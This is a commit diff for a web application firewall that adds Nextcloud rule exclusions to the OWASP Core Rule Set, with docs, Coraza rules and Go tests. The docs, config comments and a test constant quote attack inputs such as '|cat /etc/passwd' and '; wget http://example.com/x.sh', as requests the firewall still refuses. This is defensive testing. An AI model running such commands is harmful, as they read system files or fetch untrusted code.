Compare commits
2
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
 sneak
|
909aca3170 | ||
 clawbot
|
3d9e3976b0 |
No files matched your search
@@ -581,22 +581,24 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
||||
front of a code forge, bodies carry what people write and publish, which the
|
||||
rules take for attacks.
|
||||
- `smallwebwaf` changes the Core Rule Set in eleven ways so that ordinary
|
||||
requests get through to a code forge, to WordPress, to Drupal and to
|
||||
MediaWiki. They include git over HTTP and sign-in through Git Credential
|
||||
Manager on a code forge, and saving a post from the block editor on WordPress.
|
||||
On gitea's own paths, its searches, file names and branch names get through
|
||||
too. On WordPress's own paths, its searches, names and file names do. On
|
||||
Drupal's own paths, the page to return to, its searches and its names get
|
||||
- `smallwebwaf` changes the Core Rule Set in twelve ways so that ordinary
|
||||
requests get through to a code forge, to WordPress, to Drupal, to MediaWiki
|
||||
and to Nextcloud. They include git over HTTP and sign-in through Git
|
||||
Credential Manager on a code forge, and saving a post from the block editor on
|
||||
WordPress. On gitea's own paths, its searches, file names and branch names get
|
||||
through too. On WordPress's own paths, its searches, names and file names do.
|
||||
On Drupal's own paths, the page to return to, its searches and its names get
|
||||
through too. On MediaWiki's own paths, its searches, page titles, names and
|
||||
wikitext do. No setting undoes the changes; "Attack detection" in
|
||||
[`SPEC.md`](SPEC.md) lists them.
|
||||
wikitext do. On Nextcloud's own paths, its WebDAV methods, searches, file
|
||||
names, account names and comments do. No setting undoes the changes; "Attack
|
||||
detection" in [`SPEC.md`](SPEC.md) lists them.
|
||||
- These apps work out of the box at the default settings, and their recorded
|
||||
ordinary requests pass the Core Rule Set:
|
||||
- gitea;
|
||||
- WordPress;
|
||||
- Drupal;
|
||||
- MediaWiki.
|
||||
- MediaWiki;
|
||||
- Nextcloud, with its sync client.
|
||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||
fields or paths.
|
||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||
|
||||
@@ -81,7 +81,7 @@ to them.
|
||||
of bans is full.
|
||||
- `internal/rules`: reads the rule files at start and again when they
|
||||
change, and tells which rules a request matches.
|
||||
- `internal/coreruleset`: the Core Rule Set, with the eleven changes listed
|
||||
- `internal/coreruleset`: the Core Rule Set, with the twelve changes listed
|
||||
under "Attack detection", as Coraza directives.
|
||||
- `internal/lookup`: looks clients up through GeoJS or in the lookup
|
||||
database.
|
||||
@@ -676,8 +676,8 @@ files, the limits and the bans still apply to the client that sends it.
|
||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
|
||||
Coraza directives. An exclusion switches one rule off for some fields or paths
|
||||
only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
|
||||
holds an app's own exclusions; the eighth to eleventh changes below hold
|
||||
gitea's, WordPress's, Drupal's and MediaWiki's.
|
||||
holds an app's own exclusions; the eighth to twelfth changes below hold
|
||||
gitea's, WordPress's, Drupal's, MediaWiki's and Nextcloud's.
|
||||
- `discriminator` loads the file after `smallwebwaf`'s own setup rules and
|
||||
before the Core Rule Set's rules. The Core Rule Set loads its own
|
||||
`REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point.
|
||||
@@ -723,13 +723,15 @@ files, the limits and the bans still apply to the client that sends it.
|
||||
scanner from an ordinary client. In front of a code forge, registry and git
|
||||
clients get `404` and `401` by design, hundreds of times a minute.
|
||||
|
||||
`smallwebwaf` changes the Core Rule Set 4.25.0 in eleven ways, since in front of
|
||||
gitea, WordPress, Drupal and MediaWiki it would otherwise refuse ordinary
|
||||
requests. The changes hold in front of every app, and no setting undoes them:
|
||||
`smallwebwaf` changes the Core Rule Set 4.25.0 in twelve ways, since in front of
|
||||
gitea, WordPress, Drupal, MediaWiki and Nextcloud it would otherwise refuse
|
||||
ordinary requests. The changes hold in front of every app, and no setting undoes
|
||||
them:
|
||||
|
||||
1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST`
|
||||
and `OPTIONS`. APIs, container image pushes and package uploads use them.
|
||||
Other methods stay refused.
|
||||
Other methods stay refused, except on Nextcloud's WebDAV paths, where the
|
||||
twelfth change allows the WebDAV methods Nextcloud uses.
|
||||
2. The request header `Expect` is allowed, since curl and git send it before
|
||||
some large uploads. `Content-Encoding` is allowed on a request whose body the
|
||||
Core Rule Set does not read, which by default is every request. git
|
||||
@@ -756,10 +758,10 @@ requests. The changes hold in front of every app, and no setting undoes them:
|
||||
catch reaches the app, such as the command `|cat /etc/passwd`. Path
|
||||
traversal, SQL and script injection, and PHP, Java and Node.js code are
|
||||
still refused there. Other parameters keep all three rules, except on the
|
||||
gitea, WordPress, Drupal and MediaWiki paths the eighth to eleventh changes
|
||||
name. An app that uses one of these parameters as a file on the server, or
|
||||
passes it to a shell, must check the value itself. A rule file can refuse it
|
||||
instead.
|
||||
gitea, WordPress, Drupal, MediaWiki and Nextcloud paths the eighth to
|
||||
twelfth changes name. An app that uses one of these parameters as a file on
|
||||
the server, or passes it to a shell, must check the value itself. A rule
|
||||
file can refuse it instead.
|
||||
|
||||
5. Two cookies are left out, and `Referer` keeps fewer rules:
|
||||
- The Core Rule Set reads the request without the `gitea_flash` and
|
||||
@@ -1071,6 +1073,68 @@ requests. The changes hold in front of every app, and no setting undoes them:
|
||||
the site root or under `/w/`. An app other than MediaWiki that serves one of
|
||||
them must check these fields itself.
|
||||
|
||||
12. On Nextcloud's paths, some fields skip the rules that refused ordinary
|
||||
Nextcloud requests there, and its WebDAV methods are allowed.
|
||||
`internal/coreruleset/nextcloud.conf` lists each rule and the request it
|
||||
refused.
|
||||
|
||||
The sync client and the Files app use WebDAV. These methods are allowed on
|
||||
`/remote.php/dav/`, `/public.php/dav/`, `/remote.php/webdav/` and
|
||||
`/public.php/webdav/`, besides those of the first change:
|
||||
- `PROPFIND` and `PROPPATCH`;
|
||||
- `MKCOL`;
|
||||
- `COPY` and `MOVE`;
|
||||
- `REPORT` and `SEARCH`.
|
||||
|
||||
The cookie `nc_username` holds the name of the account signed in. It skips
|
||||
the lists of system files and command names (930120, 932120, 932250, 932260)
|
||||
on every path, since every request sends it.
|
||||
|
||||
These fields skip the same four rules, in the query or the body:
|
||||
- On `/login`, for signing in:
|
||||
- `user` and `password`;
|
||||
- `redirect_url`, the page to go to after signing in.
|
||||
- `dir`, the folder shown, on the paths under `/apps/files/`.
|
||||
- The file names on a public share:
|
||||
- `file` on the paths under `/apps/files_sharing/publicpreview/`;
|
||||
- `path` and `files` on `/s/<token>/download`.
|
||||
- On the OCS API, the paths under `/ocs/v1.php/` and `/ocs/v2.php/`:
|
||||
- the searches `search` and `term`, and `from`, the page searched from;
|
||||
- the names `groupid`, `userid`, `displayName` and `groups[]`;
|
||||
- `value`, a new value of an account's details;
|
||||
- `path`, `label`, `note` and `shareWith`, for a share;
|
||||
- `message`, an account's status.
|
||||
|
||||
These fields of a JSON body skip the same four rules:
|
||||
- On the OCS API, each field of the list above.
|
||||
- `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in
|
||||
the theming settings.
|
||||
- `filePath` on `/apps/text/session/<id>/save`, the document the editor
|
||||
saves.
|
||||
- `name` on `/remote.php/dav/systemtags/`, a new tag.
|
||||
|
||||
Some fields hold what a person writes. They skip the same four rules, and
|
||||
the two that refused a command after a `;`, such as `; ls -la` (932125,
|
||||
932230):
|
||||
- `autosaveContent` on `/apps/text/session/<id>/save`, the text of the
|
||||
document;
|
||||
- `message` in the JSON body that posts a comment to
|
||||
`/remote.php/dav/comments/files/<id>`;
|
||||
- the XML body of a `PROPPATCH` that edits a comment.
|
||||
|
||||
The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search,
|
||||
skips the four rules.
|
||||
|
||||
932235 still refuses a command after a `;`, such as
|
||||
`; wget http://example.com/x.sh`, in every field. So a sentence in a comment
|
||||
with a command name such as `python3` right after a `;` is refused too.
|
||||
|
||||
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
||||
applies to a JSON field when the query has a parameter of that name, such as
|
||||
`json.message`. Nextcloud's pages are matched at the site root and under
|
||||
`/index.php/`. Elsewhere these fields keep every rule. An app other than
|
||||
Nextcloud that serves one of these paths must check these fields itself.
|
||||
|
||||
The parameter and cookie names in these changes are matched without regard to
|
||||
case, as Coraza matches them.
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||
// method, the URL with its query and the headers of a request, and on its
|
||||
// body while SWW_WAF_BODY_LIMIT is set, with the eleven changes sww
|
||||
// body while SWW_WAF_BODY_LIMIT is set, with the twelve changes sww
|
||||
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
||||
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
||||
// response.
|
||||
@@ -34,7 +34,8 @@ import (
|
||||
// paranoia level for %d, bodyDirectives for the first %s while
|
||||
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
|
||||
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
||||
// drupalExclusions for the fifth, and mediawikiExclusions for the sixth.
|
||||
// drupalExclusions for the fifth, mediawikiExclusions for the sixth, and
|
||||
// nextcloudExclusions for the seventh.
|
||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||
// Core Rule Set keeps for the rules that set it up, which
|
||||
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
||||
@@ -91,7 +92,10 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
|
||||
# So does the tenth.
|
||||
%s
|
||||
|
||||
# And the eleventh.
|
||||
# So does the eleventh.
|
||||
%s
|
||||
|
||||
# And the twelfth.
|
||||
%s
|
||||
|
||||
# The sixth: only the rules for requests are loaded, and no response is
|
||||
@@ -206,6 +210,14 @@ var drupalExclusions string
|
||||
//go:embed mediawiki.conf
|
||||
var mediawikiExclusions string
|
||||
|
||||
// nextcloudExclusions are the twelfth change: the fields of Nextcloud's
|
||||
// own requests that skip the rules that refused them there, the WebDAV
|
||||
// methods it uses, and its cookie of the account's name, as Coraza
|
||||
// directives.
|
||||
//
|
||||
//go:embed nextcloud.conf
|
||||
var nextcloudExclusions string
|
||||
|
||||
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
||||
// without, the rest of the fifth change.
|
||||
//
|
||||
@@ -319,7 +331,7 @@ type CoreRuleSet struct {
|
||||
bodyLimit int64
|
||||
}
|
||||
|
||||
// New returns the Core Rule Set with the eleven changes, at params'
|
||||
// New returns the Core Rule Set with the twelve changes, at params'
|
||||
// paranoia level, without the rules it switches off, reading request
|
||||
// bodies up to params' limit, and with params' exclusions file loaded
|
||||
// before the Core Rule Set's rules. An exclusions file is an error if it
|
||||
@@ -348,7 +360,7 @@ func New(params Params) (*CoreRuleSet, error) {
|
||||
|
||||
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
||||
giteaExclusions, wordpressExclusions, drupalExclusions,
|
||||
mediawikiExclusions)
|
||||
mediawikiExclusions, nextcloudExclusions)
|
||||
|
||||
if len(params.DisabledRules) > 0 {
|
||||
ids := make([]string, len(params.DisabledRules))
|
||||
|
||||
@@ -202,7 +202,7 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
}
|
||||
|
||||
// wantChange checks that crs lets through passes, a request one of the
|
||||
// eleven changes is for, and still finds result in refused, a request like
|
||||
// twelve changes is for, and still finds result in refused, a request like
|
||||
// it that the change is not for.
|
||||
func wantChange(
|
||||
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
||||
@@ -692,6 +692,14 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||
t.Errorf("%s let through: %+v", target, got)
|
||||
}
|
||||
}
|
||||
|
||||
// Nor is a page opened from them.
|
||||
for _, attack := range []string{scriptTag, injection} {
|
||||
referer := "Referer: https://example.com" + path + "?q=" + attack
|
||||
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
|
||||
t.Errorf("%s let through: %+v", referer, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -83,13 +83,16 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
||||
# 941160: <img src=
|
||||
# 942100: LIKE '%foo%'
|
||||
# 944100: java.lang.Runtime
|
||||
# A repository with the owner api is left out here too.
|
||||
SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
|
||||
issues(?:/search)?|pulls|[^/]+/-/code|\
|
||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
||||
commits/(?:branch|tag|commit)/.+/search)|\
|
||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
|
||||
"id:900601,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
||||
"id:900601,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/[^/]+/(?:search|\
|
||||
issues(?:/search)?|pulls|commits/(?:branch|tag|commit)/.+/search)\?" \
|
||||
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
|
||||
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
|
||||
|
||||
@@ -0,0 +1,165 @@
|
||||
# The twelfth change: on Nextcloud's paths, some fields skip the rules that
|
||||
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
||||
# sends a search, a name, a file name, a folder, a comment or a document's text.
|
||||
# Each exclusion runs with the request, before the rules it switches off, so
|
||||
# this file is loaded before the Core Rule Set's rules. Each comment names a
|
||||
# request a rule refused. An exclusion on a field of a JSON body applies only
|
||||
# when the query has no parameter of that name, so it matters only while
|
||||
# SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site root and
|
||||
# under /index.php/, where a Nextcloud without pretty URLs serves them.
|
||||
#
|
||||
# Four rules read a search or a name as a command or a system file:
|
||||
# 930120: .htaccess
|
||||
# 932120: powershell
|
||||
# 932250: ls -la
|
||||
# 932260: python3
|
||||
# Each exclusion below removes these four from its fields. Two more rules
|
||||
# misfire on a comment or a document's text that runs a command after a ";",
|
||||
# such as "Run python3 or powershell; ls -la shows .htaccess":
|
||||
# 932125: ; ls
|
||||
# 932230: ; ls -la
|
||||
# Those fields skip them too. Rule 932235 stays, so that
|
||||
# "; wget http://example.com/x.sh" is still refused there. It refuses
|
||||
# "Run powershell; python3 next" too.
|
||||
|
||||
# The sync client and the Files app use these WebDAV methods besides those
|
||||
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
||||
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
||||
# PROPFIND, PROPPATCH: listing a folder, marking a file a favourite
|
||||
# MKCOL: making a folder, and starting a chunked upload
|
||||
# COPY, MOVE: copying, moving and renaming, and ending a chunked upload
|
||||
# REPORT: listing favourites and comments
|
||||
# SEARCH: the Files app's search
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
||||
"id:900100,phase:1,pass,nolog,\
|
||||
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND PROPPATCH MKCOL COPY MOVE REPORT SEARCH'"
|
||||
|
||||
# Nextcloud keeps the name of the account signed in in the cookie nc_username,
|
||||
# which every request sends, on every path. Each request of the account
|
||||
# python3 was refused.
|
||||
SecAction "id:900101,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;REQUEST_COOKIES:nc_username,\
|
||||
ctl:ruleRemoveTargetById=932120;REQUEST_COOKIES:nc_username,\
|
||||
ctl:ruleRemoveTargetById=932250;REQUEST_COOKIES:nc_username,\
|
||||
ctl:ruleRemoveTargetById=932260;REQUEST_COOKIES:nc_username"
|
||||
|
||||
# Signing in, in the query or the body:
|
||||
# user, password: user=python3&password=Example-pass-python3
|
||||
# redirect_url: /login?redirect_url=/apps/files/%3Fdir%3D/Python3%20notes
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
||||
"id:900102,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user|password|redirect_url)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:user|password|redirect_url)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
||||
|
||||
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
||||
"id:900103,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:dir,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:dir,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:dir,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:dir"
|
||||
|
||||
# The file names on a public share's page:
|
||||
# file: /apps/files_sharing/publicpreview/<token>?file=/powershell+profile.ps1
|
||||
# path, files: /s/<token>/download?path=/&files=powershell%20profile.ps1
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?(?:apps/files_sharing/publicpreview/|s/[^/]+/download$)" \
|
||||
"id:900104,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:file|path|files)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:file|path|files)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:file|path|files)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:file|path|files)$/"
|
||||
|
||||
# The OCS API's searches and names, in the query, a form data body or a JSON
|
||||
# body:
|
||||
# search: /ocs/v2.php/cloud/users/details?search=python3, and the same on
|
||||
# cloud/users, cloud/groups, cloud/groups/details and the sharees
|
||||
# term, from: /ocs/v2.php/search/providers/files/search?term=python3
|
||||
# groupid, userid, displayName: adding the group "Python3 admins" and the
|
||||
# account python3, displayName=Ls+-la+Example
|
||||
# groups[], or groups in JSON: the groups of a new account,
|
||||
# groups[]=Python3+admins
|
||||
# value: changing an account's name, address or headline, value=Powershell+Lane
|
||||
# path, label, note, shareWith: sharing the folder "/ls -la output" with the
|
||||
# label "python3 link" and the note "Read the .htaccess notes"
|
||||
# message: the status "Writing python3 and powershell"
|
||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
|
||||
"id:900105,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\[\])$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\[\])$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\[\])$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\[\])$/"
|
||||
|
||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
|
||||
"id:900106,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\.[0-9]+)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\.[0-9]+)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\.[0-9]+)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\.[0-9]+)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|note|sharewith|message|groups\.[0-9]+)$/"
|
||||
|
||||
# The name and slogan in the theming admin settings, in the JSON field value:
|
||||
# {"setting":"slogan","value":"ls -la and .htaccess"}.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/theming/ajax/updateStylesheet$" \
|
||||
"id:900107,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:json.value "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:json.value,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:json.value,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:json.value,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:json.value"
|
||||
|
||||
# The Text editor saves a document, such as a folder's Readme.md, with its
|
||||
# path in the JSON field filePath and its text in autosaveContent. The text
|
||||
# skips the two rules for a command after a ";" too.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/text/session/[0-9]+/save$" \
|
||||
"id:900108,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.(?:filepath|autosavecontent)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:json.autosavecontent,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:json.autosavecontent"
|
||||
|
||||
# A comment on a file, in the JSON field message of a new comment, and in the
|
||||
# XML body of an edited one. It skips the two rules for a command after a ";"
|
||||
# too. An edited comment's XML holds nothing else a person writes.
|
||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+$" \
|
||||
"id:900109,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:json.message "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:json.message"
|
||||
|
||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+/[0-9]+$" \
|
||||
"id:900110,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_METHOD "@streq PROPPATCH" \
|
||||
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932125;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932230;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932260;XML:/*"
|
||||
|
||||
# The Files app's search sends its words in the XML body of a SEARCH request,
|
||||
# <d:literal>%python3%</d:literal>, which holds nothing else a person writes.
|
||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/?$" \
|
||||
"id:900111,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_METHOD "@streq SEARCH" \
|
||||
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932260;XML:/*"
|
||||
|
||||
# The name of a new tag, in the JSON field name: {"name": "python3"}.
|
||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
|
||||
"id:900112,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:json.name "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
|
||||
@@ -0,0 +1,368 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"html"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const nextcloudThreshold = 5
|
||||
|
||||
// nextcloudShare is a public share's page.
|
||||
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
|
||||
|
||||
// nextcloudUsers is the OCS API's list of accounts.
|
||||
const nextcloudUsers = "/ocs/v2.php/cloud/users"
|
||||
|
||||
// nextcloudShares is the OCS API's list of shares.
|
||||
const nextcloudShares = "/ocs/v2.php/apps/files_sharing/api/v1/shares"
|
||||
|
||||
// nextcloudFiles is the WebDAV folder of the account admin.
|
||||
const nextcloudFiles = "/remote.php/dav/files/admin/"
|
||||
|
||||
// nextcloudSave is where the text editor saves a document.
|
||||
const nextcloudSave = "/apps/text/session/1/save"
|
||||
|
||||
// The WebDAV methods the Files app's search and a comment's edit use, and
|
||||
// the method the sync client lists a folder with.
|
||||
const (
|
||||
nextcloudSearch = "SEARCH"
|
||||
nextcloudPropPatch = "PROPPATCH"
|
||||
nextcloudPropFind = "PROPFIND"
|
||||
)
|
||||
|
||||
// nextcloudOther is a JSON field no exclusion names.
|
||||
const nextcloudOther = `{"other":"python3"}`
|
||||
|
||||
// nextcloudCommandAttack is a shell command after a ";", as a query value.
|
||||
const nextcloudCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||
|
||||
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
|
||||
}
|
||||
|
||||
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
||||
// and 932260, each on a path where it skips them, ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudQueryFields = []string{
|
||||
"/login?user=",
|
||||
"/login?redirect_url=",
|
||||
"/index.php/login?user=",
|
||||
"/apps/files/?dir=",
|
||||
"/apps/files/files/134?dir=",
|
||||
"/index.php/apps/files/?dir=",
|
||||
"/apps/files_sharing/publicpreview/AbCdEfGhIjKlMnO?file=",
|
||||
nextcloudShare + "/download?path=",
|
||||
nextcloudShare + "/download?path=%2F&files=",
|
||||
nextcloudUsers + "?search=",
|
||||
nextcloudUsers + "/details?search=",
|
||||
"/ocs/v2.php/cloud/groups?search=",
|
||||
"/ocs/v1.php/cloud/groups/details?search=",
|
||||
"/ocs/v2.php/apps/files_sharing/api/v1/sharees?search=",
|
||||
nextcloudShares + "?path=",
|
||||
"/ocs/v2.php/search/providers/files/search?term=",
|
||||
"/ocs/v2.php/search/providers/files/search?term=x&from=",
|
||||
}
|
||||
|
||||
// nextcloudFormFields are the form data fields that skip the four rules, each
|
||||
// on a path where it skips them, ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudFormFields = []struct{ target, field string }{
|
||||
{"/login", "user="},
|
||||
{"/login", "password="},
|
||||
{nextcloudUsers, "userid="},
|
||||
{nextcloudUsers, "displayName="},
|
||||
{nextcloudUsers, "groups%5B%5D="},
|
||||
{nextcloudUsers + "/admin", "value="},
|
||||
{"/ocs/v2.php/cloud/groups", "groupid="},
|
||||
{nextcloudShares, "path="},
|
||||
{nextcloudShares, "label="},
|
||||
{nextcloudShares, "shareWith="},
|
||||
{"/ocs/v1.php/apps/files_sharing/api/v1/shares/1", "note="},
|
||||
}
|
||||
|
||||
// nextcloudBody is a JSON or XML body, sent with its method to a path. It
|
||||
// holds %s, where a value goes.
|
||||
type nextcloudBody struct{ method, target, contentType, body string }
|
||||
|
||||
// nextcloudBodies are the JSON and XML fields that skip the four rules, each
|
||||
// on a path where it skips them.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudBodies = []nextcloudBody{
|
||||
{http.MethodPost, nextcloudUsers, jsonBody, `{"userid":"%s"}`},
|
||||
{http.MethodPost, nextcloudUsers, jsonBody, `{"displayName":"%s"}`},
|
||||
{http.MethodPost, nextcloudUsers, jsonBody, `{"groups":["Staff","%s"]}`},
|
||||
{
|
||||
http.MethodPut, nextcloudUsers + "/admin",
|
||||
jsonBody, `{"key":"headline","value":"%s"}`,
|
||||
},
|
||||
{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
|
||||
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
|
||||
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
|
||||
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
|
||||
